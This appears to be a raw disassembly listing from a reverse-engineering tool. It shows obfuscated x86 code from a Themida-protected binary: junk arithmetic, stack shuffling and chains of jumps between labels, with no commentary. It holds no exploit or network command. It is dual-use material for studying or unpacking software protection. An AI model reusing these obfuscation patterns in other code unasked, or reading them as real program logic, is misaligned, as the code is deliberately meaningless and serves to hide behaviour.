; ---------------------------------------------------------------------------
loc_5AAF7D: ; CODE XREF: Themida_:005AC264j
jmp loc_5A3333
; ---------------------------------------------------------------------------
loc_5AAF82: ; CODE XREF: Themida_:005A5406j
pop eax
jmp loc_59E880
; ---------------------------------------------------------------------------
loc_5AAF88: ; CODE XREF: Themida_:0059BC2Bj
push 6D38h
mov [esp], ecx
push ebp
mov ebp, 1754247Ch
sub ebp, 4FAE2912h
sub ebp, 0C7A5FB68h
push ebp
xor dword ptr [esp], 28A906D2h
pop ecx
xor ecx, 28A906D2h
pop ebp
sub ebp, 13935AFFh
add ebp, ecx
add ebp, 13935AFFh
push dword ptr [esp]
pop ecx
push 4461h
jmp loc_59C5DC
; ---------------------------------------------------------------------------
loc_5AAFCE: ; CODE XREF: Themida_:005ADA1Ej
mov ebx, [esp]
add esp, 4
loc_5AAFD4: ; CODE XREF: Themida_:0059B23Cj
push 5856h
mov [esp], ebx
push dword ptr [esp]
jmp loc_59FB2C
; ---------------------------------------------------------------------------
loc_5AAFE4: ; CODE XREF: Themida_:loc_5A7920j
or dh, 6Eh
jb loc_5ACFFD
jmp loc_5A0BFD
; ---------------------------------------------------------------------------
loc_5AAFF2: ; CODE XREF: Themida_:005A43F5j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
mov esi, 7C0445CAh
mov edi, esi
mov esi, [esp]
add esp, 4
xor edi, ecx
mov ecx, [esp]
add esp, 4
and eax, edi
mov edi, [esp]
add esp, 4
or edx, eax
shl edx, 1
push 1581h
mov [esp], eax
mov eax, 24h
add eax, edi
jmp loc_59D95F
; ---------------------------------------------------------------------------
loc_5AB03D: ; CODE XREF: Themida_:00599550j
sub esp, 4
mov [esp], esp
jmp loc_5A034B
; ---------------------------------------------------------------------------
loc_5AB04B: ; CODE XREF: Themida_:005A241Fj
; Themida_:005A26DFj
push 231A1DBAh
jmp loc_5AEEC5
; ---------------------------------------------------------------------------
loc_5AB055: ; CODE XREF: Themida_:005A4617j
xor esi, 0D65F552h
sub ebp, esi
pop esi
jmp loc_5A9FFF
; ---------------------------------------------------------------------------
loc_5AB063: ; CODE XREF: Themida_:00599588j
; Themida_:005A2D54j
push cx
jmp loc_598B92
; ---------------------------------------------------------------------------
loc_5AB06A: ; CODE XREF: Themida_:005AA66Cj
mov edi, 58D2501Eh
sub eax, 2AE760F7h
add eax, edi
add eax, 2AE760F7h
mov edi, [esp]
jmp loc_59C050
; ---------------------------------------------------------------------------
loc_5AB083: ; CODE XREF: Themida_:00598968j
sub esp, 4
mov [esp], ebx
push esi
jmp loc_5A35D1
; ---------------------------------------------------------------------------
loc_5AB092: ; CODE XREF: Themida_:00599F3Fj
rol byte ptr [esp], cl
pushf
jmp loc_5AA49A
; ---------------------------------------------------------------------------
loc_5AB09B: ; CODE XREF: Themida_:loc_5AE18Aj
sub esi, 0CBBD9763h
mov ecx, esi
pop esi
jmp loc_5A934E
; ---------------------------------------------------------------------------
loc_5AB0A9: ; CODE XREF: Themida_:0059D535j
shr ebp, 6
not ebp
sub esp, 4
mov [esp], edi
mov edi, 64B77307h
xor ebp, edi
pop edi
add ebp, 0A10FFB03h
add eax, 33325D3Eh
add eax, ebp
sub eax, 33325D3Eh
jmp loc_5AA7F9
; ---------------------------------------------------------------------------
loc_5AB0D6: ; CODE XREF: Themida_:0059A6A2j
push ebx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5AF4FC
; ---------------------------------------------------------------------------
loc_5AB0E5: ; CODE XREF: Themida_:loc_5A462Fj
; Themida_:005A7EDAj
mov ecx, 7C2F43EDh
jmp loc_5A12E5
; ---------------------------------------------------------------------------
loc_5AB0EF: ; CODE XREF: Themida_:005A7A05j
; Themida_:005AD7B8j
mov [esp], edi
push esi
mov esi, 738F470Ah
add esi, 8C70B8F8h
mov edi, esi
jmp loc_5AA2EF
; ---------------------------------------------------------------------------
loc_5AB105: ; CODE XREF: Themida_:005A3521j
mov [esp], ebx
jmp loc_59AF63
; ---------------------------------------------------------------------------
loc_5AB10D: ; CODE XREF: Themida_:005AE7ECj
inc dword ptr [esp]
mov esi, [esp]
add esp, 4
push 324Eh
mov [esp], eax
mov eax, 359E6Ch
sub esi, eax
pop eax
add ebx, esi
push dword ptr [esp]
pop esi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ebp
jmp loc_5ADE6B
; ---------------------------------------------------------------------------
loc_5AB144: ; CODE XREF: Themida_:005AB6BFj
pop esp
mov [esp], edx
mov edx, 0FFFFFFFFh
jmp loc_59D4CC
; ---------------------------------------------------------------------------
loc_5AB152: ; CODE XREF: Themida_:0059A81Dj
pop ecx
sub eax, 274B14E4h
add ebx, eax
pop eax
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_59C9D3
; ---------------------------------------------------------------------------
loc_5AB168: ; CODE XREF: Themida_:005AF1A9j
shl edi, 5
push ebp
mov ebp, 1CBB702Ch
jmp loc_59E31D
; ---------------------------------------------------------------------------
loc_5AB176: ; CODE XREF: Themida_:005A5DECj
add esp, 4
mov ecx, edx
pop edx
sub ecx, 4FD41267h
push ecx
mov ecx, 2DDE3A56h
jmp loc_59F05E
; ---------------------------------------------------------------------------
loc_5AB190: ; CODE XREF: Themida_:005A1E99j
; Themida_:005AC5FDj
push edi
mov edi, 0EE77D35h
and edi, 28872078h
jnp loc_5A0728
jmp loc_5AC3DC
; ---------------------------------------------------------------------------
loc_5AB1A7: ; CODE XREF: Themida_:005A42DDj
push edx
push ebp
mov ebp, 2A0B2687h
mov edx, 137A18FBh
add edx, ebp
jmp loc_5A890B
; ---------------------------------------------------------------------------
loc_5AB1BA: ; CODE XREF: Themida_:005AE23Fj
pop ebp
jmp loc_5A4EEE
; ---------------------------------------------------------------------------
loc_5AB1C0: ; CODE XREF: Themida_:loc_5A625Cj
jmp loc_5A3697
; ---------------------------------------------------------------------------
loc_5AB1C5: ; CODE XREF: Themida_:00598EFEj
mov eax, ecx
pop ecx
sub ecx, eax
jmp loc_5A6CBE
; ---------------------------------------------------------------------------
loc_5AB1CF: ; CODE XREF: Themida_:005AD0B7j
add esp, 4
add esp, 4
shr ecx, 2
sub esp, 4
jmp loc_5A1B3D
; ---------------------------------------------------------------------------
loc_5AB1E6: ; CODE XREF: Themida_:005AB8E5j
add esp, 4
push edi
mov edi, 4
add ebx, edi
jmp loc_5AA8BC
; ---------------------------------------------------------------------------
loc_5AB1F6: ; CODE XREF: Themida_:0059C889j
mov eax, 63ED1D0Ch
add ebx, eax
pop eax
add ebx, ebp
sub ebx, 63ED1D0Ch
pop ebp
jmp loc_5AE4EC
; ---------------------------------------------------------------------------
loc_5AB20C: ; CODE XREF: Themida_:0059D116j
; Themida_:005A6AEEj
pop eax
push esi
mov esi, 460E59F4h
add edx, esi
pop esi
add edx, edi
push ecx
mov ecx, 2F8F1A5Bh
push ecx
jmp loc_5A3DC0
; ---------------------------------------------------------------------------
loc_5AB224: ; CODE XREF: Themida_:0059B279j
mov ebx, [esp]
add esp, 4
xor esi, [esp]
jmp loc_5A9F35
; ---------------------------------------------------------------------------
loc_5AB232: ; CODE XREF: Themida_:005A364Ej
push eax
mov eax, 0F7418FBh
jmp loc_5A17AD
; ---------------------------------------------------------------------------
loc_5AB23D: ; CODE XREF: Themida_:005A8740j
push eax
push ecx
mov cl, 36h
mov al, cl
pop ecx
shl al, 1
xor al, 0A9h
sub bl, al
pop eax
add bl, 0A7h
jmp loc_5996DB
; ---------------------------------------------------------------------------
loc_5AB253: ; CODE XREF: Themida_:00599B05j
sub esi, 0FFFF7DFAh
sub edi, 6213661Bh
add edi, esi
add edi, 6213661Bh
pop esi
xchg edi, [esp]
jmp loc_5A7991
; ---------------------------------------------------------------------------
loc_5AB270: ; CODE XREF: Themida_:0059D61Bj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AB275: ; CODE XREF: Themida_:005A2722j
add ebp, ecx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A983E
; ---------------------------------------------------------------------------
loc_5AB292: ; CODE XREF: Themida_:0059C7B3j
mov al, dl
mov bl, al
mov eax, [esp]
add esp, 4
mov al, bl
pop ebx
push ebx
mov bh, al
mov ch, bh
mov ebx, [esp]
add esp, 4
jmp loc_5A525F
; ---------------------------------------------------------------------------
loc_5AB2AF: ; CODE XREF: Themida_:005AB432j
add esp, 4
add edx, ebx
push eax
jmp loc_5AEB2A
; ---------------------------------------------------------------------------
loc_5AB2BA: ; CODE XREF: Themida_:00598A88j
; Themida_:00599B8Aj ...
add edi, ecx
pop ecx
push edi
push dword ptr [esp+4]
jmp loc_59BD03
; ---------------------------------------------------------------------------
loc_5AB2C7: ; CODE XREF: Themida_:005A04B9j
; Themida_:005A0A10j
js loc_5AF1D5
xor ebp, 18604524h
mov edx, ebp
pop ebp
jmp loc_5999DB
; ---------------------------------------------------------------------------
loc_5AB2DB: ; CODE XREF: Themida_:005A81A4j
shr esi, 6
sub esi, 0DCC57E8Ch
inc esi
sub esi, 1
push ebx
jmp loc_59C096
; ---------------------------------------------------------------------------
loc_5AB2EE: ; CODE XREF: Themida_:0059F9FDj
add esi, ebx
pop ebx
xchg esi, [esp]
jmp loc_5A178A
; ---------------------------------------------------------------------------
loc_5AB2F9: ; CODE XREF: Themida_:loc_5983BEj
; Themida_:005AE8E5j
sub ebx, 0D4E9EE90h
jmp loc_59ACA8
; ---------------------------------------------------------------------------
loc_5AB304: ; CODE XREF: Themida_:005AD743j
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A043E
; ---------------------------------------------------------------------------
loc_5AB318: ; CODE XREF: Themida_:0059C522j
shl eax, 7
jmp loc_59DE57
; ---------------------------------------------------------------------------
loc_5AB320: ; CODE XREF: Themida_:005A99F4j
add edi, ebx
pop ebx
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
jmp loc_5A8A90
; ---------------------------------------------------------------------------
loc_5AB35D: ; CODE XREF: Themida_:005A882Aj
mov [esp], ebp
mov ebp, 619B158Ah
and ebp, 747425ADh
xor ebp, 7D484F08h
sub ebp, 0E1F19B8Bh
xor ebx, ebp
pop ebp
add ebp, ebx
pop ebx
and eax, ebp
pop ebp
or eax, eax
jz loc_59CE12
push dword ptr [edi+28h]
push dword ptr [esp]
pop eax
jmp loc_59F5C4
; ---------------------------------------------------------------------------
loc_5AB394: ; CODE XREF: Themida_:005AC32Dj
jmp loc_5A5587
; ---------------------------------------------------------------------------
loc_5AB399: ; CODE XREF: Themida_:005A0210j
push bx
mov bh, 53h
jmp loc_5AEFC8
; ---------------------------------------------------------------------------
loc_5AB3A2: ; CODE XREF: Themida_:005A3289j
jmp loc_59FF56
; ---------------------------------------------------------------------------
loc_5AB3A7: ; CODE XREF: Themida_:0059DFABj
not al
shr al, 6
inc al
jmp loc_59DB9C
; ---------------------------------------------------------------------------
loc_5AB3B3: ; CODE XREF: Themida_:005A08F7j
mov edx, [esp]
add esp, 4
sub edx, 3DCD6FA2h
jnb loc_59CBB0
xor edx, 0A7E79CDEh
mov ecx, edx
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
push ecx
push esp
pop ecx
jmp loc_5A51B2
; ---------------------------------------------------------------------------
loc_5AB3E5: ; CODE XREF: Themida_:005A029Ej
mov edi, 0FFFFFFFFh
add ebx, 47ED53A3h
jmp loc_5A697C
; ---------------------------------------------------------------------------
loc_5AB3F5: ; CODE XREF: Themida_:005AF1E5j
mov ebp, [esp]
add esp, 4
jmp loc_5A9223
; ---------------------------------------------------------------------------
loc_5AB400: ; CODE XREF: Themida_:005A1982j
; Themida_:005AF4CCj
push ebx
mov ebx, 4
jmp loc_5A6C15
; ---------------------------------------------------------------------------
loc_5AB40B: ; CODE XREF: Themida_:0059D3D6j
push ebx
jmp loc_5A0DEA
; ---------------------------------------------------------------------------
loc_5AB411: ; CODE XREF: Themida_:005ABA90j
mov [esp], esi
jmp loc_59AC69
; ---------------------------------------------------------------------------
loc_5AB419: ; CODE XREF: Themida_:005A61B9j
mov edi, [esp]
jmp loc_5A9EC8
; ---------------------------------------------------------------------------
loc_5AB421: ; CODE XREF: Themida_:0059C819j
; Themida_:005A5D43j
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, 0
mov edx, ebx
mov ebx, [esp]
jmp loc_5AB2AF
; ---------------------------------------------------------------------------
loc_5AB437: ; CODE XREF: Themida_:005A774Cj
xchg ebx, edi
sub edi, 93DF9AF7h
jmp loc_59FF4E
; ---------------------------------------------------------------------------
loc_5AB444: ; CODE XREF: Themida_:loc_5AEC18j
push ebp
mov ebp, 54696268h
jmp loc_5ABBAC
; ---------------------------------------------------------------------------
loc_5AB44F: ; CODE XREF: Themida_:005A2917j
dec ebx
xor ebx, 0B01E19D3h
sub edx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A3B01
; ---------------------------------------------------------------------------
loc_5AB463: ; CODE XREF: Themida_:005A89E5j
xor bh, al
pop ax
push eax
mov al, 67h
add al, 0FAh
js loc_5A46CD
xchg cl, al
not cl
push edx
mov dl, cl
mov cl, al
mov al, dl
pop edx
inc al
jle loc_59A5E8
jmp loc_59B25D
; ---------------------------------------------------------------------------
neg ebx
dec ebx
inc ebx
push esi
loc_5AB490: ; CODE XREF: Themida_:005AA185j
pop cx
shl bh, 4
jmp loc_5A0D6F
; ---------------------------------------------------------------------------
loc_5AB49A: ; CODE XREF: Themida_:0059D813j
; Themida_:005A077Ej
sub edi, 4DDF669Eh
jmp loc_5ABEE5
; ---------------------------------------------------------------------------
loc_5AB4A5: ; CODE XREF: Themida_:005AB6CEj
pop ebp
jmp loc_5A128E
; ---------------------------------------------------------------------------
loc_5AB4AB: ; CODE XREF: Themida_:005A13BAj
; Themida_:005A46C8j
mov esp, [esp]
movsx cx, al
push small 72h
mov [esp], cx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AB4BF: ; CODE XREF: Themida_:005A7617j
shl edx, 2
xor edx, 0B0FF7D90h
sub edi, edx
pop edx
jmp loc_59963E
; ---------------------------------------------------------------------------
loc_5AB4D0: ; CODE XREF: Themida_:00598E57j
push edx
mov edx, 1AE54887h
and eax, edx
pop edx
sub eax, 201F0176h
add eax, 7FF12168h
add ecx, eax
pop eax
sub esp, 4
mov [esp], edi
push edx
jmp loc_59BA84
; ---------------------------------------------------------------------------
loc_5AB4F5: ; CODE XREF: Themida_:005A1DE3j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
pop edx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esp
jmp loc_59888D
; ---------------------------------------------------------------------------
loc_5AB518: ; CODE XREF: Themida_:0059B872j
; Themida_:005AACCCj
sub eax, 1B473FF8h
add eax, ebx
add eax, 1B473FF8h
pop ebx
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edi
mov edi, 2C74624Bh
jmp loc_5AD07A
; ---------------------------------------------------------------------------
loc_5AB546: ; CODE XREF: Themida_:005ABC86j
push 288Ah
jmp loc_59D6A0
; ---------------------------------------------------------------------------
loc_5AB550: ; CODE XREF: Themida_:005AF053j
sub dh, 91h
add bl, dh
pop edx
add cl, bl
jmp loc_59C673
; ---------------------------------------------------------------------------
loc_5AB55D: ; CODE XREF: Themida_:005A223Dj
; Themida_:loc_5A9089j
pop edi
sub edx, edi
sub edx, 62001644h
pop edi
jmp loc_5A03A3
; ---------------------------------------------------------------------------
loc_5AB56C: ; CODE XREF: Themida_:005AC4EDj
mov eax, 6DD62C4Ah
xor eax, edi
pop edi
push eax
pop ecx
pop eax
shl ecx, 8
jmp loc_59A872
; ---------------------------------------------------------------------------
loc_5AB57F: ; CODE XREF: Themida_:005A8A9Fj
mov edi, esp
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push 62C3h
jmp loc_5AAC1B
; ---------------------------------------------------------------------------
loc_5AB599: ; CODE XREF: Themida_:005A9C8Bj
add esp, 4
add eax, 52CD0276h
sub eax, 4E34299Fh
sub eax, ebx
add eax, 4E34299Fh
sub eax, 52CD0276h
sub esp, 4
mov [esp], edi
sub esp, 4
jmp loc_5A663A
; ---------------------------------------------------------------------------
loc_5AB5C6: ; CODE XREF: Themida_:loc_59B8F5j
sub eax, 0E67B9BB1h
jmp loc_5ACCFA
; ---------------------------------------------------------------------------
loc_5AB5D0: ; CODE XREF: Themida_:005A0E68j
mov esi, 0C566FF0h
and esi, 728547F4h
not esi
add esi, 3F110493h
xor esi, 1071CA4Eh
jmp loc_5AA040
; ---------------------------------------------------------------------------
loc_5AB5EE: ; CODE XREF: Themida_:005A079Bj
pop edi
add eax, 4
xchg eax, [esp]
jmp loc_5ABD43
; ---------------------------------------------------------------------------
loc_5AB5FC: ; CODE XREF: Themida_:005AE67Dj
sub bh, cl
pop cx
push ax
push edx
mov dl, 8Eh
mov ah, dl
mov edx, [esp]
add esp, 4
and bh, ah
jmp loc_5A1C3E
; ---------------------------------------------------------------------------
loc_5AB614: ; CODE XREF: Themida_:0059B8FEj
mov edi, 622B0BF6h
push 5ED2h
mov [esp], edx
mov edx, 125E5A01h
push ebx
mov ebx, 3DD44C38h
add edx, ebx
pop ebx
jmp loc_5AEFED
; ---------------------------------------------------------------------------
loc_5AB634: ; CODE XREF: Themida_:005A46B6j
dec al
jmp loc_5A46C3
; ---------------------------------------------------------------------------
loc_5AB63B: ; CODE XREF: Themida_:00599C66j
shr esi, 7
jnp loc_5AA82A
add esi, 210C7189h
jmp loc_59EC83
; ---------------------------------------------------------------------------
push eax
mov eax, esp
loc_5AB652: ; CODE XREF: Themida_:00599A23j
push 7824h
mov [esp], edx
jmp loc_5AC898
; ---------------------------------------------------------------------------
loc_5AB65F: ; CODE XREF: Themida_:005A1616j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AB664: ; CODE XREF: Themida_:0059E442j
mov [esp], eax
push ebx
mov bl, 1Fh
mov ah, bl
pop ebx
jmp loc_5A8817
; ---------------------------------------------------------------------------
loc_5AB672: ; CODE XREF: Themida_:00598ACDj
xchg ecx, [esp]
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AB67B: ; CODE XREF: Themida_:005A384Bj
pop edi
jmp loc_5A8E40
; ---------------------------------------------------------------------------
loc_5AB681: ; CODE XREF: Themida_:0059F527j
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
push 67725F0h
pop ebp
jmp loc_5AAB5E
; ---------------------------------------------------------------------------
loc_5AB6AA: ; CODE XREF: Themida_:005A51D7j
pop ebx
xchg esi, [esp]
jmp loc_5A9E49
; ---------------------------------------------------------------------------
loc_5AB6B3: ; CODE XREF: Themida_:0059BAB2j
pop esp
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_5AB144
; ---------------------------------------------------------------------------
loc_5AB6C4: ; CODE XREF: Themida_:005A3D37j
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_5AB4A5
; ---------------------------------------------------------------------------
loc_5AB6D3: ; CODE XREF: Themida_:005ACE04j
add ecx, ebp
push eax
mov eax, 51FF0149h
jmp loc_5AE0CB
; ---------------------------------------------------------------------------
loc_5AB6E0: ; CODE XREF: Themida_:005A8D8Dj
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5A211E
; ---------------------------------------------------------------------------
loc_5AB6EE: ; CODE XREF: Themida_:005A81D4j
jbe loc_5A6BB0
xor edx, 4A9E9949h
push 6660h
jmp loc_5A5162
; ---------------------------------------------------------------------------
loc_5AB704: ; CODE XREF: Themida_:005A7477j
; Themida_:005ADB09j
pop esi
pop dword ptr [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AB714: ; CODE XREF: Themida_:005A8739j
mov dh, [esp]
add esp, 4
push eax
mov al, 6Dh
and dh, al
pop eax
sub dh, 71h
add ch, 45h
jmp loc_59A902
; ---------------------------------------------------------------------------
loc_5AB72B: ; CODE XREF: Themida_:005A8E20j
xor al, ch
pop ecx
push small 3940h
mov [esp], cx
sub esp, 4
jmp loc_5989A6
; ---------------------------------------------------------------------------
loc_5AB741: ; CODE XREF: Themida_:005ADB1Ej
mov eax, [esp]
add esp, 4
pop cx
shr bh, 2
jz loc_5AF07B
jmp loc_59AB30
; ---------------------------------------------------------------------------
loc_5AB75A: ; CODE XREF: Themida_:005A5E5Dj
mov ecx, [esp]
jmp loc_5AA25B
; ---------------------------------------------------------------------------
loc_5AB762: ; CODE XREF: Themida_:005A993Cj
sub ebx, ecx
pop ecx
sub ebx, 1EC70CAAh
sub eax, ebx
jmp loc_5A7DEB
; ---------------------------------------------------------------------------
loc_5AB772: ; CODE XREF: Themida_:005A4D9Bj
add esp, 4
push esi
push 28BFh
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_599CC8
; ---------------------------------------------------------------------------
loc_5AB791: ; CODE XREF: Themida_:005ABE32j
mov edx, 4
jmp loc_5A688E
; ---------------------------------------------------------------------------
loc_5AB79B: ; CODE XREF: Themida_:00599CF8j
shr edx, 6
jmp loc_5ABEC3
; ---------------------------------------------------------------------------
loc_5AB7A3: ; CODE XREF: Themida_:005A06DEj
add esp, 4
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], ecx
jmp loc_5A4898
; ---------------------------------------------------------------------------
loc_5AB7BB: ; CODE XREF: Themida_:0059A166j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AB7CB: ; CODE XREF: Themida_:0059A446j
xor ebx, 9C84D652h
mov ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5AF1E3
; ---------------------------------------------------------------------------
loc_5AB7DE: ; CODE XREF: Themida_:005AE2E8j
pop esp
mov [esp], ebx
push edi
push 20A32C03h
jmp loc_59DF7B
; ---------------------------------------------------------------------------
lodsb
push edx
mov dl, 0A1h
add al, dl
pop edx
sub esp, 4
mov [esp], ebx
mov bl, 9Dh
add al, bl
pop ebx
sub al, 23h
sub al, bl
add al, 23h
push small 7D02h
mov [esp], cx
jmp loc_599CFD
; ---------------------------------------------------------------------------
loc_5AB812: ; CODE XREF: Themida_:005A2956j
add edx, 4
xchg edx, [esp]
jmp loc_5A75E2
; ---------------------------------------------------------------------------
loc_5AB820: ; CODE XREF: Themida_:005A1F6Cj
pop ecx
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], eax
push 7219h
mov [esp], esp
sub esp, 4
mov [esp], eax
push 8E3h
mov [esp], ebx
push 12A27447h
mov ebx, [esp]
push ebp
jmp loc_5AE946
; ---------------------------------------------------------------------------
mov ax, [esp]
push 722Ch
mov [esp], ebx
push 5E64h
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_5AAE15
; ---------------------------------------------------------------------------
loc_5AB874: ; CODE XREF: Themida_:00598597j
add esp, 4
xor cl, 21h
sub cl, 5Ah
push ebx
mov bl, 0EDh
push eax
mov al, 95h
xor al, 0ADh
neg al
sub al, 49h
xor bl, al
jmp loc_59A5AC
; ---------------------------------------------------------------------------
loc_5AB890: ; CODE XREF: Themida_:0059B3AAj
mov edi, 4
add edx, edi
mov edi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_59889D
; ---------------------------------------------------------------------------
loc_5AB8AD: ; CODE XREF: Themida_:005A440Ej
push 4C19h
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59AB9F
; ---------------------------------------------------------------------------
loc_5AB8C4: ; CODE XREF: Themida_:00598DEEj
; Themida_:005AD4CDj
push esi
push 0FFFh
mov [esp], edx
jmp loc_5A2C0A
; ---------------------------------------------------------------------------
loc_5AB8D2: ; CODE XREF: Themida_:0059B14Cj
; Themida_:005A7388j
sub ebx, 5F967DA5h
mov edi, ebx
pop ebx
push ecx
jmp loc_5A6F62
; ---------------------------------------------------------------------------
loc_5AB8E1: ; CODE XREF: Themida_:005A1CAFj
push esp
mov ebx, [esp]
jmp loc_5AB1E6
; ---------------------------------------------------------------------------
loc_5AB8EA: ; CODE XREF: Themida_:0059DF69j
push esp
jmp loc_5A6549
; ---------------------------------------------------------------------------
loc_5AB8F0: ; CODE XREF: Themida_:005A0476j
sub edx, 48CF1EB6h
sub edx, ebx
add edx, 48CF1EB6h
jmp loc_5A3389
; ---------------------------------------------------------------------------
loc_5AB903: ; CODE XREF: Themida_:005AABAEj
shl ch, 7
shl ch, 3
and ch, 0D6h
add ch, 1
jmp loc_59F5FC
; ---------------------------------------------------------------------------
loc_5AB914: ; CODE XREF: Themida_:0059CD4Aj
push ebp
push 2F60h
jmp loc_5AEB68
; ---------------------------------------------------------------------------
loc_5AB91F: ; CODE XREF: Themida_:00599E5Cj
jz loc_5A2828
push ecx
mov ecx, 54AD5F2Fh
inc ecx
xor ecx, 7EC40FF6h
sub edi, ecx
pop ecx
add edi, 25826B34h
mov edx, edi
pop edi
xor eax, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 0B674FB8h
or edx, 262F7ABCh
or edx, 6FDA4C9Dh
xor edx, 6763E36Ch
jmp loc_5A4ADD
; ---------------------------------------------------------------------------
loc_5AB966: ; CODE XREF: Themida_:0059F755j
; Themida_:005AA1C0j
xor edx, 7503011Bh
jz loc_59B5DD
jmp loc_5AC861
; ---------------------------------------------------------------------------
loc_5AB977: ; CODE XREF: Themida_:005AD5D5j
push edi
mov edi, 4AD8628Bh
add ebp, edi
jmp loc_5A7799
; ---------------------------------------------------------------------------
loc_5AB984: ; CODE XREF: Themida_:00599D1Dj
add eax, 0E8BB92D8h
jmp loc_5A241A
; ---------------------------------------------------------------------------
loc_5AB98E: ; CODE XREF: Themida_:005A8319j
xchg ecx, [esp]
jmp loc_5A475B
; ---------------------------------------------------------------------------
loc_5AB996: ; CODE XREF: Themida_:005A6B2Ej
add esp, 4
pop ebx
push ecx
mov ecx, 2C477FDAh
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5ADADF
; ---------------------------------------------------------------------------
loc_5AB9B0: ; CODE XREF: Themida_:005A62BCj
mov edi, eax
pop eax
shr edi, 8
inc edi
neg edi
push esi
mov esi, 34392363h
and esi, 4CB42418h
and esi, 5AA03593h
sub esi, 590A56AEh
jmp loc_5A8948
; ---------------------------------------------------------------------------
loc_5AB9D6: ; CODE XREF: Themida_:005A5D5Aj
pop edx
sub esp, 4
mov [esp], ebx
jmp loc_59DDDF
; ---------------------------------------------------------------------------
loc_5AB9E2: ; CODE XREF: Themida_:0059F8ECj
shl esi, 1
or esi, 4FFE345Eh
add esi, 0B0014AA6h
add ebp, 240C01FFh
jmp loc_59E9D5
; ---------------------------------------------------------------------------
loc_5AB9FB: ; CODE XREF: Themida_:005A066Ej
pop ebx
push ecx
mov ecx, 4
add edx, ecx
jmp loc_59CEF9
; ---------------------------------------------------------------------------
loc_5ABA09: ; CODE XREF: Themida_:005A313Dj
mov bh, dl
mov ch, bh
pop ebx
pop edx
mov dh, ch
jmp loc_59B7E4
; ---------------------------------------------------------------------------
loc_5ABA16: ; CODE XREF: Themida_:0059E740j
add esp, 4
sub ebx, 4AF255CFh
jmp loc_5AABD4
; ---------------------------------------------------------------------------
loc_5ABA27: ; CODE XREF: Themida_:005AD9DFj
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub edi, 0C883FC3Bh
push edi
push eax
mov eax, 600424D3h
add [esp+4], eax
jmp loc_5AEACA
; ---------------------------------------------------------------------------
loc_5ABA59: ; CODE XREF: Themida_:005984C9j
push dword ptr [esp+4]
jmp loc_59A709
; ---------------------------------------------------------------------------
loc_5ABA62: ; CODE XREF: Themida_:005A5593j
; Themida_:005A8051j
or ebp, 0AA54ADCh
and ebp, 6BD0152Bh
xor ebp, 4BD97601h
add ecx, ebp
pop ebp
add edi, 0D5F2FE7h
jmp loc_59A16B
; ---------------------------------------------------------------------------
loc_5ABA82: ; CODE XREF: Themida_:005A7265j
push esi
mov esi, 433562F4h
push esi
not dword ptr [esp]
pop esi
sub esp, 4
jmp loc_5AB411
; ---------------------------------------------------------------------------
loc_5ABA95: ; CODE XREF: Themida_:005A7FF4j
mov [esp], ebx
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_59C7B8
; ---------------------------------------------------------------------------
loc_5ABAA8: ; CODE XREF: Themida_:005A9159j
; Themida_:005A9375j
mov cl, 81h
push ebx
push edx
push ecx
mov cl, 0ABh
jmp loc_59D0AA
; ---------------------------------------------------------------------------
loc_5ABAB4: ; CODE XREF: Themida_:0059D889j
; Themida_:005AAABAj
and edx, 36137A5Eh
and edx, 3FDA6013h
jmp loc_5A2D95
; ---------------------------------------------------------------------------
loc_5ABAC5: ; CODE XREF: Themida_:005ABDFBj
push 18B20DA4h
pop ebp
or ebp, 4E644E11h
jbe loc_598A76
and ebp, 1A31413Ch
and ebp, 5DE04D86h
sub ebp, 10F5C4B2h
mov esi, ebp
pop ebp
sub esi, 72A7C4Eh
add ebp, esi
jmp loc_5AF0E8
; ---------------------------------------------------------------------------
